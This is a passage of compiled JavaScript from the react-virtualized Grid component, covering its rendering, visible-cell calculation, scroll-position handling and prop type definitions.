          previousCellSize: prevProps.rowHeight,
          previousScrollToAlignment: prevProps.scrollToAlignment,
          previousScrollToIndex: prevProps.scrollToRow,
          previousSize: prevProps.height,
          scrollOffset: scrollTop,
          scrollToAlignment: scrollToAlignment,
          scrollToIndex: scrollToRow,
          size: height,
          sizeJustIncreasedFromZero: sizeJustIncreasedFromZero,
          updateScrollIndexCallback: function updateScrollIndexCallback() {
            return _this2._updateScrollTopForScrollToRow(_this2.props);
          }
        });
      } // Update onRowsRendered callback if start/stop indices have changed


      this._invokeOnGridRenderedHelper(); // Changes to :scrollLeft or :scrollTop should also notify :onScroll listeners


      if (scrollLeft !== prevState.scrollLeft || scrollTop !== prevState.scrollTop) {
        var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize();
        var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();

        this._invokeOnScrollMemoizer({
          scrollLeft: scrollLeft,
          scrollTop: scrollTop,
          totalColumnsWidth: totalColumnsWidth,
          totalRowsHeight: totalRowsHeight
        });
      }

      this._maybeCallOnScrollbarPresenceChange();
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._disablePointerEventsTimeoutId) {
        (0, _requestAnimationTimeout.cancelAnimationTimeout)(this._disablePointerEventsTimeoutId);
      }
    }
    /**
     * This method updates scrollLeft/scrollTop in state for the following conditions:
     * 1) Empty content (0 rows or columns)
     * 2) New scroll props overriding the current state
     * 3) Cells-count or cells-size has changed, making previous scroll offsets invalid
     */

  }, {
    key: "render",
    value: function render() {
      var _this$props6 = this.props,
          autoContainerWidth = _this$props6.autoContainerWidth,
          autoHeight = _this$props6.autoHeight,
          autoWidth = _this$props6.autoWidth,
          className = _this$props6.className,
          containerProps = _this$props6.containerProps,
          containerRole = _this$props6.containerRole,
          containerStyle = _this$props6.containerStyle,
          height = _this$props6.height,
          id = _this$props6.id,
          noContentRenderer = _this$props6.noContentRenderer,
          role = _this$props6.role,
          style = _this$props6.style,
          tabIndex = _this$props6.tabIndex,
          width = _this$props6.width;
      var _this$state2 = this.state,
          instanceProps = _this$state2.instanceProps,
          needToResetStyleCache = _this$state2.needToResetStyleCache;

      var isScrolling = this._isScrolling();

      var gridStyle = {
        boxSizing: 'border-box',
        direction: 'ltr',
        height: autoHeight ? 'auto' : height,
        position: 'relative',
        width: autoWidth ? 'auto' : width,
        WebkitOverflowScrolling: 'touch',
        willChange: 'transform'
      };

      if (needToResetStyleCache) {
        this._styleCache = {};
      } // calculate _styleCache here
      // if state.isScrolling (not from _isScrolling) then reset


      if (!this.state.isScrolling) {
        this._resetStyleCache();
      } // calculate children to render here


      this._calculateChildrenToRender(this.props, this.state);

      var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
      var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize(); // Force browser to hide scrollbars when we know they aren't necessary.
      // Otherwise once scrollbars appear they may not disappear again.
      // For more info see issue #116

      var verticalScrollBarSize = totalRowsHeight > height ? instanceProps.scrollbarSize : 0;
      var horizontalScrollBarSize = totalColumnsWidth > width ? instanceProps.scrollbarSize : 0;

      if (horizontalScrollBarSize !== this._horizontalScrollBarSize || verticalScrollBarSize !== this._verticalScrollBarSize) {
        this._horizontalScrollBarSize = horizontalScrollBarSize;
        this._verticalScrollBarSize = verticalScrollBarSize;
        this._scrollbarPresenceChanged = true;
      } // Also explicitly init styles to 'auto' if scrollbars are required.
      // This works around an obscure edge case where external CSS styles have not yet been loaded,
      // But an initial scroll index of offset is set as an external prop.
      // Without this style, Grid would render the correct range of cells but would NOT update its internal offset.
      // This was originally reported via clauderic/react-infinite-calendar/issues/23


      gridStyle.overflowX = totalColumnsWidth + verticalScrollBarSize <= width ? 'hidden' : 'auto';
      gridStyle.overflowY = totalRowsHeight + horizontalScrollBarSize <= height ? 'hidden' : 'auto';
      var childrenToDisplay = this._childrenToDisplay;
      var showNoContentRenderer = childrenToDisplay.length === 0 && height > 0 && width > 0;
      return React.createElement("div", (0, _extends2["default"])({
        ref: this._setScrollingContainerRef
      }, containerProps, {
        "aria-label": this.props['aria-label'],
        "aria-readonly": this.props['aria-readonly'],
        className: (0, _clsx["default"])('ReactVirtualized__Grid', className),
        id: id,
        onScroll: this._onScroll,
        role: role,
        style: _objectSpread({}, gridStyle, {}, style),
        tabIndex: tabIndex
      }), childrenToDisplay.length > 0 && React.createElement("div", {
        className: "ReactVirtualized__Grid__innerScrollContainer",
        role: containerRole,
        style: _objectSpread({
          width: autoContainerWidth ? 'auto' : totalColumnsWidth,
          height: totalRowsHeight,
          maxWidth: totalColumnsWidth,
          maxHeight: totalRowsHeight,
          overflow: 'hidden',
          pointerEvents: isScrolling ? 'none' : '',
          position: 'relative'
        }, containerStyle)
      }, childrenToDisplay), showNoContentRenderer && noContentRenderer());
    }
    /* ---------------------------- Helper methods ---------------------------- */

  }, {
    key: "_calculateChildrenToRender",
    value: function _calculateChildrenToRender() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      var cellRenderer = props.cellRenderer,
          cellRangeRenderer = props.cellRangeRenderer,
          columnCount = props.columnCount,
          deferredMeasurementCache = props.deferredMeasurementCache,
          height = props.height,
          overscanColumnCount = props.overscanColumnCount,
          overscanIndicesGetter = props.overscanIndicesGetter,
          overscanRowCount = props.overscanRowCount,
          rowCount = props.rowCount,
          width = props.width,
          isScrollingOptOut = props.isScrollingOptOut;
      var scrollDirectionHorizontal = state.scrollDirectionHorizontal,
          scrollDirectionVertical = state.scrollDirectionVertical,
          instanceProps = state.instanceProps;
      var scrollTop = this._initialScrollTop > 0 ? this._initialScrollTop : state.scrollTop;
      var scrollLeft = this._initialScrollLeft > 0 ? this._initialScrollLeft : state.scrollLeft;

      var isScrolling = this._isScrolling(props, state);

      this._childrenToDisplay = []; // Render only enough columns and rows to cover the visible area of the grid.

      if (height > 0 && width > 0) {
        var visibleColumnIndices = instanceProps.columnSizeAndPositionManager.getVisibleCellRange({
          containerSize: width,
          offset: scrollLeft
        });
        var visibleRowIndices = instanceProps.rowSizeAndPositionManager.getVisibleCellRange({
          containerSize: height,
          offset: scrollTop
        });
        var horizontalOffsetAdjustment = instanceProps.columnSizeAndPositionManager.getOffsetAdjustment({
          containerSize: width,
          offset: scrollLeft
        });
        var verticalOffsetAdjustment = instanceProps.rowSizeAndPositionManager.getOffsetAdjustment({
          containerSize: height,
          offset: scrollTop
        }); // Store for _invokeOnGridRenderedHelper()

        this._renderedColumnStartIndex = visibleColumnIndices.start;
        this._renderedColumnStopIndex = visibleColumnIndices.stop;
        this._renderedRowStartIndex = visibleRowIndices.start;
        this._renderedRowStopIndex = visibleRowIndices.stop;
        var overscanColumnIndices = overscanIndicesGetter({
          direction: 'horizontal',
          cellCount: columnCount,
          overscanCellsCount: overscanColumnCount,
          scrollDirection: scrollDirectionHorizontal,
          startIndex: typeof visibleColumnIndices.start === 'number' ? visibleColumnIndices.start : 0,
          stopIndex: typeof visibleColumnIndices.stop === 'number' ? visibleColumnIndices.stop : -1
        });
        var overscanRowIndices = overscanIndicesGetter({
          direction: 'vertical',
          cellCount: rowCount,
          overscanCellsCount: overscanRowCount,
          scrollDirection: scrollDirectionVertical,
          startIndex: typeof visibleRowIndices.start === 'number' ? visibleRowIndices.start : 0,
          stopIndex: typeof visibleRowIndices.stop === 'number' ? visibleRowIndices.stop : -1
        }); // Store for _invokeOnGridRenderedHelper()

        var columnStartIndex = overscanColumnIndices.overscanStartIndex;
        var columnStopIndex = overscanColumnIndices.overscanStopIndex;
        var rowStartIndex = overscanRowIndices.overscanStartIndex;
        var rowStopIndex = overscanRowIndices.overscanStopIndex; // Advanced use-cases (eg CellMeasurer) require batched measurements to determine accurate sizes.

        if (deferredMeasurementCache) {
          // If rows have a dynamic height, scan the rows we are about to render.
          // If any have not yet been measured, then we need to render all columns initially,
          // Because the height of the row is equal to the tallest cell within that row,
          // (And so we can't know the height without measuring all column-cells first).
          if (!deferredMeasurementCache.hasFixedHeight()) {
            for (var rowIndex = rowStartIndex; rowIndex <= rowStopIndex; rowIndex++) {
              if (!deferredMeasurementCache.has(rowIndex, 0)) {
                columnStartIndex = 0;
                columnStopIndex = columnCount - 1;
                break;
              }
            }
          } // If columns have a dynamic width, scan the columns we are about to render.
          // If any have not yet been measured, then we need to render all rows initially,
          // Because the width of the column is equal to the widest cell within that column,
          // (And so we can't know the width without measuring all row-cells first).


          if (!deferredMeasurementCache.hasFixedWidth()) {
            for (var columnIndex = columnStartIndex; columnIndex <= columnStopIndex; columnIndex++) {
              if (!deferredMeasurementCache.has(0, columnIndex)) {
                rowStartIndex = 0;
                rowStopIndex = rowCount - 1;
                break;
              }
            }
          }
        }

        this._childrenToDisplay = cellRangeRenderer({
          cellCache: this._cellCache,
          cellRenderer: cellRenderer,
          columnSizeAndPositionManager: instanceProps.columnSizeAndPositionManager,
          columnStartIndex: columnStartIndex,
          columnStopIndex: columnStopIndex,
          deferredMeasurementCache: deferredMeasurementCache,
          horizontalOffsetAdjustment: horizontalOffsetAdjustment,
          isScrolling: isScrolling,
          isScrollingOptOut: isScrollingOptOut,
          parent: this,
          rowSizeAndPositionManager: instanceProps.rowSizeAndPositionManager,
          rowStartIndex: rowStartIndex,
          rowStopIndex: rowStopIndex,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop,
          styleCache: this._styleCache,
          verticalOffsetAdjustment: verticalOffsetAdjustment,
          visibleColumnIndices: visibleColumnIndices,
          visibleRowIndices: visibleRowIndices
        }); // update the indices

        this._columnStartIndex = columnStartIndex;
        this._columnStopIndex = columnStopIndex;
        this._rowStartIndex = rowStartIndex;
        this._rowStopIndex = rowStopIndex;
      }
    }
    /**
     * Sets an :isScrolling flag for a small window of time.
     * This flag is used to disable pointer events on the scrollable portion of the Grid.
     * This prevents jerky/stuttery mouse-wheel scrolling.
     */

  }, {
    key: "_debounceScrollEnded",
    value: function _debounceScrollEnded() {
      var scrollingResetTimeInterval = this.props.scrollingResetTimeInterval;

      if (this._disablePointerEventsTimeoutId) {
        (0, _requestAnimationTimeout.cancelAnimationTimeout)(this._disablePointerEventsTimeoutId);
      }

      this._disablePointerEventsTimeoutId = (0, _requestAnimationTimeout.requestAnimationTimeout)(this._debounceScrollEndedCallback, scrollingResetTimeInterval);
    }
  }, {
    key: "_handleInvalidatedGridSize",

    /**
     * Check for batched CellMeasurer size invalidations.
     * This will occur the first time one or more previously unmeasured cells are rendered.
     */
    value: function _handleInvalidatedGridSize() {
      if (typeof this._deferredInvalidateColumnIndex === 'number' && typeof this._deferredInvalidateRowIndex === 'number') {
        var columnIndex = this._deferredInvalidateColumnIndex;
        var rowIndex = this._deferredInvalidateRowIndex;
        this._deferredInvalidateColumnIndex = null;
        this._deferredInvalidateRowIndex = null;
        this.recomputeGridSize({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
      }
    }
  }, {
    key: "_invokeOnScrollMemoizer",
    value: function _invokeOnScrollMemoizer(_ref6) {
      var _this3 = this;

      var scrollLeft = _ref6.scrollLeft,
          scrollTop = _ref6.scrollTop,
          totalColumnsWidth = _ref6.totalColumnsWidth,
          totalRowsHeight = _ref6.totalRowsHeight;

      this._onScrollMemoizer({
        callback: function callback(_ref7) {
          var scrollLeft = _ref7.scrollLeft,
              scrollTop = _ref7.scrollTop;
          var _this3$props = _this3.props,
              height = _this3$props.height,
              onScroll = _this3$props.onScroll,
              width = _this3$props.width;
          onScroll({
            clientHeight: height,
            clientWidth: width,
            scrollHeight: totalRowsHeight,
            scrollLeft: scrollLeft,
            scrollTop: scrollTop,
            scrollWidth: totalColumnsWidth
          });
        },
        indices: {
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        }
      });
    }
  }, {
    key: "_isScrolling",
    value: function _isScrolling() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      // If isScrolling is defined in props, use it to override the value in state
      // This is a performance optimization for WindowScroller + Grid
      return Object.hasOwnProperty.call(props, 'isScrolling') ? Boolean(props.isScrolling) : Boolean(state.isScrolling);
    }
  }, {
    key: "_maybeCallOnScrollbarPresenceChange",
    value: function _maybeCallOnScrollbarPresenceChange() {
      if (this._scrollbarPresenceChanged) {
        var onScrollbarPresenceChange = this.props.onScrollbarPresenceChange;
        this._scrollbarPresenceChanged = false;
        onScrollbarPresenceChange({
          horizontal: this._horizontalScrollBarSize > 0,
          size: this.state.instanceProps.scrollbarSize,
          vertical: this._verticalScrollBarSize > 0
        });
      }
    }
  }, {
    key: "scrollToPosition",

    /**
     * Scroll to the specified offset(s).
     * Useful for animating position changes.
     */
    value: function scrollToPosition(_ref8) {
      var scrollLeft = _ref8.scrollLeft,
          scrollTop = _ref8.scrollTop;

      var stateUpdate = Grid._getScrollToPositionStateUpdate({
        prevState: this.state,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop
      });

      if (stateUpdate) {
        stateUpdate.needToResetStyleCache = false;
        this.setState(stateUpdate);
      }
    }
  }, {
    key: "_getCalculatedScrollLeft",
    value: function _getCalculatedScrollLeft() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      return Grid._getCalculatedScrollLeft(props, state);
    }
  }, {
    key: "_updateScrollLeftForScrollToColumn",
    value: function _updateScrollLeftForScrollToColumn() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;

      var stateUpdate = Grid._getScrollLeftForScrollToColumnStateUpdate(props, state);

      if (stateUpdate) {
        stateUpdate.needToResetStyleCache = false;
        this.setState(stateUpdate);
      }
    }
  }, {
    key: "_getCalculatedScrollTop",
    value: function _getCalculatedScrollTop() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;
      return Grid._getCalculatedScrollTop(props, state);
    }
  }, {
    key: "_resetStyleCache",
    value: function _resetStyleCache() {
      var styleCache = this._styleCache;
      var cellCache = this._cellCache;
      var isScrollingOptOut = this.props.isScrollingOptOut; // Reset cell and style caches once scrolling stops.
      // This makes Grid simpler to use (since cells commonly change).
      // And it keeps the caches from growing too large.
      // Performance is most sensitive when a user is scrolling.
      // Don't clear visible cells from cellCache if isScrollingOptOut is specified.
      // This keeps the cellCache to a resonable size.

      this._cellCache = {};
      this._styleCache = {}; // Copy over the visible cell styles so avoid unnecessary re-render.

      for (var rowIndex = this._rowStartIndex; rowIndex <= this._rowStopIndex; rowIndex++) {
        for (var columnIndex = this._columnStartIndex; columnIndex <= this._columnStopIndex; columnIndex++) {
          var key = "".concat(rowIndex, "-").concat(columnIndex);
          this._styleCache[key] = styleCache[key];

          if (isScrollingOptOut) {
            this._cellCache[key] = cellCache[key];
          }
        }
      }
    }
  }, {
    key: "_updateScrollTopForScrollToRow",
    value: function _updateScrollTopForScrollToRow() {
      var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props;
      var state = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.state;

      var stateUpdate = Grid._getScrollTopForScrollToRowStateUpdate(props, state);

      if (stateUpdate) {
        stateUpdate.needToResetStyleCache = false;
        this.setState(stateUpdate);
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      var newState = {};

      if (nextProps.columnCount === 0 && prevState.scrollLeft !== 0 || nextProps.rowCount === 0 && prevState.scrollTop !== 0) {
        newState.scrollLeft = 0;
        newState.scrollTop = 0; // only use scroll{Left,Top} from props if scrollTo{Column,Row} isn't specified
        // scrollTo{Column,Row} should override scroll{Left,Top}
      } else if (nextProps.scrollLeft !== prevState.scrollLeft && nextProps.scrollToColumn < 0 || nextProps.scrollTop !== prevState.scrollTop && nextProps.scrollToRow < 0) {
        Object.assign(newState, Grid._getScrollToPositionStateUpdate({
          prevState: prevState,
          scrollLeft: nextProps.scrollLeft,
          scrollTop: nextProps.scrollTop
        }));
      }

      var instanceProps = prevState.instanceProps; // Initially we should not clearStyleCache

      newState.needToResetStyleCache = false;

      if (nextProps.columnWidth !== instanceProps.prevColumnWidth || nextProps.rowHeight !== instanceProps.prevRowHeight) {
        // Reset cache. set it to {} in render
        newState.needToResetStyleCache = true;
      }

      instanceProps.columnSizeAndPositionManager.configure({
        cellCount: nextProps.columnCount,
        estimatedCellSize: Grid._getEstimatedColumnSize(nextProps),
        cellSizeGetter: Grid._wrapSizeGetter(nextProps.columnWidth)
      });
      instanceProps.rowSizeAndPositionManager.configure({
        cellCount: nextProps.rowCount,
        estimatedCellSize: Grid._getEstimatedRowSize(nextProps),
        cellSizeGetter: Grid._wrapSizeGetter(nextProps.rowHeight)
      });

      if (instanceProps.prevColumnCount === 0 || instanceProps.prevRowCount === 0) {
        instanceProps.prevColumnCount = 0;
        instanceProps.prevRowCount = 0;
      } // If scrolling is controlled outside this component, clear cache when scrolling stops


      if (nextProps.autoHeight && nextProps.isScrolling === false && instanceProps.prevIsScrolling === true) {
        Object.assign(newState, {
          isScrolling: false
        });
      }

      var maybeStateA;
      var maybeStateB;
      (0, _calculateSizeAndPositionDataAndUpdateScrollOffset["default"])({
        cellCount: instanceProps.prevColumnCount,
        cellSize: typeof instanceProps.prevColumnWidth === 'number' ? instanceProps.prevColumnWidth : null,
        computeMetadataCallback: function computeMetadataCallback() {
          return instanceProps.columnSizeAndPositionManager.resetCell(0);
        },
        computeMetadataCallbackProps: nextProps,
        nextCellsCount: nextProps.columnCount,
        nextCellSize: typeof nextProps.columnWidth === 'number' ? nextProps.columnWidth : null,
        nextScrollToIndex: nextProps.scrollToColumn,
        scrollToIndex: instanceProps.prevScrollToColumn,
        updateScrollOffsetForScrollToIndex: function updateScrollOffsetForScrollToIndex() {
          maybeStateA = Grid._getScrollLeftForScrollToColumnStateUpdate(nextProps, prevState);
        }
      });
      (0, _calculateSizeAndPositionDataAndUpdateScrollOffset["default"])({
        cellCount: instanceProps.prevRowCount,
        cellSize: typeof instanceProps.prevRowHeight === 'number' ? instanceProps.prevRowHeight : null,
        computeMetadataCallback: function computeMetadataCallback() {
          return instanceProps.rowSizeAndPositionManager.resetCell(0);
        },
        computeMetadataCallbackProps: nextProps,
        nextCellsCount: nextProps.rowCount,
        nextCellSize: typeof nextProps.rowHeight === 'number' ? nextProps.rowHeight : null,
        nextScrollToIndex: nextProps.scrollToRow,
        scrollToIndex: instanceProps.prevScrollToRow,
        updateScrollOffsetForScrollToIndex: function updateScrollOffsetForScrollToIndex() {
          maybeStateB = Grid._getScrollTopForScrollToRowStateUpdate(nextProps, prevState);
        }
      });
      instanceProps.prevColumnCount = nextProps.columnCount;
      instanceProps.prevColumnWidth = nextProps.columnWidth;
      instanceProps.prevIsScrolling = nextProps.isScrolling === true;
      instanceProps.prevRowCount = nextProps.rowCount;
      instanceProps.prevRowHeight = nextProps.rowHeight;
      instanceProps.prevScrollToColumn = nextProps.scrollToColumn;
      instanceProps.prevScrollToRow = nextProps.scrollToRow; // getting scrollBarSize (moved from componentWillMount)

      instanceProps.scrollbarSize = nextProps.getScrollbarSize();

      if (instanceProps.scrollbarSize === undefined) {
        instanceProps.scrollbarSizeMeasured = false;
        instanceProps.scrollbarSize = 0;
      } else {
        instanceProps.scrollbarSizeMeasured = true;
      }

      newState.instanceProps = instanceProps;
      return _objectSpread({}, newState, {}, maybeStateA, {}, maybeStateB);
    }
  }, {
    key: "_getEstimatedColumnSize",
    value: function _getEstimatedColumnSize(props) {
      return typeof props.columnWidth === 'number' ? props.columnWidth : props.estimatedColumnSize;
    }
  }, {
    key: "_getEstimatedRowSize",
    value: function _getEstimatedRowSize(props) {
      return typeof props.rowHeight === 'number' ? props.rowHeight : props.estimatedRowSize;
    }
  }, {
    key: "_getScrollToPositionStateUpdate",

    /**
     * Get the updated state after scrolling to
     * scrollLeft and scrollTop
     */
    value: function _getScrollToPositionStateUpdate(_ref9) {
      var prevState = _ref9.prevState,
          scrollLeft = _ref9.scrollLeft,
          scrollTop = _ref9.scrollTop;
      var newState = {
        scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
      };

      if (typeof scrollLeft === 'number' && scrollLeft >= 0) {
        newState.scrollDirectionHorizontal = scrollLeft > prevState.scrollLeft ? _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD : _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD;
        newState.scrollLeft = scrollLeft;
      }

      if (typeof scrollTop === 'number' && scrollTop >= 0) {
        newState.scrollDirectionVertical = scrollTop > prevState.scrollTop ? _defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD : _defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD;
        newState.scrollTop = scrollTop;
      }

      if (typeof scrollLeft === 'number' && scrollLeft >= 0 && scrollLeft !== prevState.scrollLeft || typeof scrollTop === 'number' && scrollTop >= 0 && scrollTop !== prevState.scrollTop) {
        return newState;
      }

      return {};
    }
  }, {
    key: "_wrapSizeGetter",
    value: function _wrapSizeGetter(value) {
      return typeof value === 'function' ? value : function () {
        return value;
      };
    }
  }, {
    key: "_getCalculatedScrollLeft",
    value: function _getCalculatedScrollLeft(nextProps, prevState) {
      var columnCount = nextProps.columnCount,
          height = nextProps.height,
          scrollToAlignment = nextProps.scrollToAlignment,
          scrollToColumn = nextProps.scrollToColumn,
          width = nextProps.width;
      var scrollLeft = prevState.scrollLeft,
          instanceProps = prevState.instanceProps;

      if (columnCount > 0) {
        var finalColumn = columnCount - 1;
        var targetIndex = scrollToColumn < 0 ? finalColumn : Math.min(finalColumn, scrollToColumn);
        var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize();
        var scrollBarSize = instanceProps.scrollbarSizeMeasured && totalRowsHeight > height ? instanceProps.scrollbarSize : 0;
        return instanceProps.columnSizeAndPositionManager.getUpdatedOffsetForIndex({
          align: scrollToAlignment,
          containerSize: width - scrollBarSize,
          currentOffset: scrollLeft,
          targetIndex: targetIndex
        });
      }

      return 0;
    }
  }, {
    key: "_getScrollLeftForScrollToColumnStateUpdate",
    value: function _getScrollLeftForScrollToColumnStateUpdate(nextProps, prevState) {
      var scrollLeft = prevState.scrollLeft;

      var calculatedScrollLeft = Grid._getCalculatedScrollLeft(nextProps, prevState);

      if (typeof calculatedScrollLeft === 'number' && calculatedScrollLeft >= 0 && scrollLeft !== calculatedScrollLeft) {
        return Grid._getScrollToPositionStateUpdate({
          prevState: prevState,
          scrollLeft: calculatedScrollLeft,
          scrollTop: -1
        });
      }

      return {};
    }
  }, {
    key: "_getCalculatedScrollTop",
    value: function _getCalculatedScrollTop(nextProps, prevState) {
      var height = nextProps.height,
          rowCount = nextProps.rowCount,
          scrollToAlignment = nextProps.scrollToAlignment,
          scrollToRow = nextProps.scrollToRow,
          width = nextProps.width;
      var scrollTop = prevState.scrollTop,
          instanceProps = prevState.instanceProps;

      if (rowCount > 0) {
        var finalRow = rowCount - 1;
        var targetIndex = scrollToRow < 0 ? finalRow : Math.min(finalRow, scrollToRow);
        var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
        var scrollBarSize = instanceProps.scrollbarSizeMeasured && totalColumnsWidth > width ? instanceProps.scrollbarSize : 0;
        return instanceProps.rowSizeAndPositionManager.getUpdatedOffsetForIndex({
          align: scrollToAlignment,
          containerSize: height - scrollBarSize,
          currentOffset: scrollTop,
          targetIndex: targetIndex
        });
      }

      return 0;
    }
  }, {
    key: "_getScrollTopForScrollToRowStateUpdate",
    value: function _getScrollTopForScrollToRowStateUpdate(nextProps, prevState) {
      var scrollTop = prevState.scrollTop;

      var calculatedScrollTop = Grid._getCalculatedScrollTop(nextProps, prevState);

      if (typeof calculatedScrollTop === 'number' && calculatedScrollTop >= 0 && scrollTop !== calculatedScrollTop) {
        return Grid._getScrollToPositionStateUpdate({
          prevState: prevState,
          scrollLeft: -1,
          scrollTop: calculatedScrollTop
        });
      }

      return {};
    }
  }]);
  return Grid;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "aria-label": _propTypes["default"].string.isRequired,
  "aria-readonly": _propTypes["default"].bool,

  /**
   * Set the width of the inner scrollable container to 'auto'.
   * This is useful for single-column Grids to ensure that the column doesn't extend below a vertical scrollbar.
   */
  "autoContainerWidth": _propTypes["default"].bool.isRequired,

  /**
   * Removes fixed height from the scrollingContainer so that the total height of rows can stretch the window.
   * Intended for use with WindowScroller
   */
  "autoHeight": _propTypes["default"].bool.isRequired,

  /**
   * Removes fixed width from the scrollingContainer so that the total width of rows can stretch the window.
   * Intended for use with WindowScroller
   */
  "autoWidth": _propTypes["default"].bool.isRequired,

  /** Responsible for rendering a cell given an row and column index.  */
  "cellRenderer": function cellRenderer() {
    return (typeof _types.bpfrpt_proptype_CellRenderer === "function" ? _types.bpfrpt_proptype_CellRenderer.isRequired ? _types.bpfrpt_proptype_CellRenderer.isRequired : _types.bpfrpt_proptype_CellRenderer : _propTypes["default"].shape(_types.bpfrpt_proptype_CellRenderer).isRequired).apply(this, arguments);
  },

  /** Responsible for rendering a group of cells given their index ranges.  */
  "cellRangeRenderer": function cellRangeRenderer() {
    return (typeof _types.bpfrpt_proptype_CellRangeRenderer === "function" ? _types.bpfrpt_proptype_CellRangeRenderer.isRequired ? _types.bpfrpt_proptype_CellRangeRenderer.isRequired : _types.bpfrpt_proptype_CellRangeRenderer : _propTypes["default"].shape(_types.bpfrpt_proptype_CellRangeRenderer).isRequired).apply(this, arguments);
  },

  /** Optional custom CSS class name to attach to root Grid element.  */
  "className": _propTypes["default"].string,

  /** Number of columns in grid.  */
  "columnCount": _propTypes["default"].number.isRequired,

  /** Either a fixed column width (number) or a function that returns the width of a column given its index.  */
  "columnWidth": function columnWidth() {
    return (typeof _types.bpfrpt_proptype_CellSize === "function" ? _types.bpfrpt_proptype_CellSize.isRequired ? _types.bpfrpt_proptype_CellSize.isRequired : _types.bpfrpt_proptype_CellSize : _propTypes["default"].shape(_types.bpfrpt_proptype_CellSize).isRequired).apply(this, arguments);
  },

  /** Unfiltered props for the Grid container. */
  "containerProps": _propTypes["default"].object,

  /** ARIA role for the cell-container.  */
  "containerRole": _propTypes["default"].string.isRequired,

  /** Optional inline style applied to inner cell-container */
  "containerStyle": _propTypes["default"].object.isRequired,

  /**
   * If CellMeasurer is used to measure this Grid's children, this should be a pointer to its CellMeasurerCache.
   * A shared CellMeasurerCache reference enables Grid and CellMeasurer to share measurement data.
   */
  "deferredMeasurementCache": _propTypes["default"].object,

  /**
   * Used to estimate the total width of a Grid before all of its columns have actually been measured.
   * The estimated total width is adjusted as columns are rendered.
   */
  "estimatedColumnSize": _propTypes["default"].number.isRequired,

  /**
   * Used to estimate the total height of a Grid before all of its rows have actually been measured.
   * The estimated total height is adjusted as rows are rendered.
   */
  "estimatedRowSize": _propTypes["default"].number.isRequired,

  /** Exposed for testing purposes only.  */
  "getScrollbarSize": _propTypes["default"].func.isRequired,

  /** Height of Grid; this property determines the number of visible (vs virtualized) rows.  */
  "height": _propTypes["default"].number.isRequired,

  /** Optional custom id to attach to root Grid element.  */
  "id": _propTypes["default"].string,

  /**
   * Override internal is-scrolling state tracking.
   * This property is primarily intended for use with the WindowScroller component.
   */
  "isScrolling": _propTypes["default"].bool,

  /**
   * Opt-out of isScrolling param passed to cellRangeRenderer.
   * To avoid the extra render when scroll stops.
   */
  "isScrollingOptOut": _propTypes["default"].bool.isRequired,

  /** Optional renderer to be used in place of rows when either :rowCount or :columnCount is 0.  */
  "noContentRenderer": function noContentRenderer() {
    return (typeof _types.bpfrpt_proptype_NoContentRenderer === "function" ? _types.bpfrpt_proptype_NoContentRenderer.isRequired ? _types.bpfrpt_proptype_NoContentRenderer.isRequired : _types.bpfrpt_proptype_NoContentRenderer : _propTypes["default"].shape(_types.bpfrpt_proptype_NoContentRenderer).isRequired).apply(this, arguments);
  },

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   */
  "onScroll": _propTypes["default"].func.isRequired,

  /**
   * Called whenever a horizontal or vertical scrollbar is added or removed.
   * This prop is not intended for end-user use;
   * It is used by MultiGrid to support fixed-row/fixed-column scroll syncing.
   */
  "onScrollbarPresenceChange": _propTypes["default"].func.isRequired,

  /** Callback invoked with information about the section of the Grid that was just rendered.  */
  "onSectionRendered": _propTypes["default"].func.isRequired,

  /**
   * Number of columns to render before/after the visible section of the grid.
   * These columns can help for smoother scrolling on touch devices or browsers that send scroll events infrequently.
   */
  "overscanColumnCount": _propTypes["default"].number.isRequired,

  /**
   * Calculates the number of cells to overscan before and after a specified range.
   * This function ensures that overscanning doesn't exceed the available cells.
   */
  "overscanIndicesGetter": function overscanIndicesGetter() {
    return (typeof _types.bpfrpt_proptype_OverscanIndicesGetter === "function" ? _types.bpfrpt_proptype_OverscanIndicesGetter.isRequired ? _types.bpfrpt_proptype_OverscanIndicesGetter.isRequired : _types.bpfrpt_proptype_OverscanIndicesGetter : _propTypes["default"].shape(_types.bpfrpt_proptype_OverscanIndicesGetter).isRequired).apply(this, arguments);
  },

  /**
   * Number of rows to render above/below the visible section of the grid.
   * These rows can help for smoother scrolling on touch devices or browsers that send scroll events infrequently.
   */
  "overscanRowCount": _propTypes["default"].number.isRequired,

  /** ARIA role for the grid element.  */
  "role": _propTypes["default"].string.isRequired,

  /**
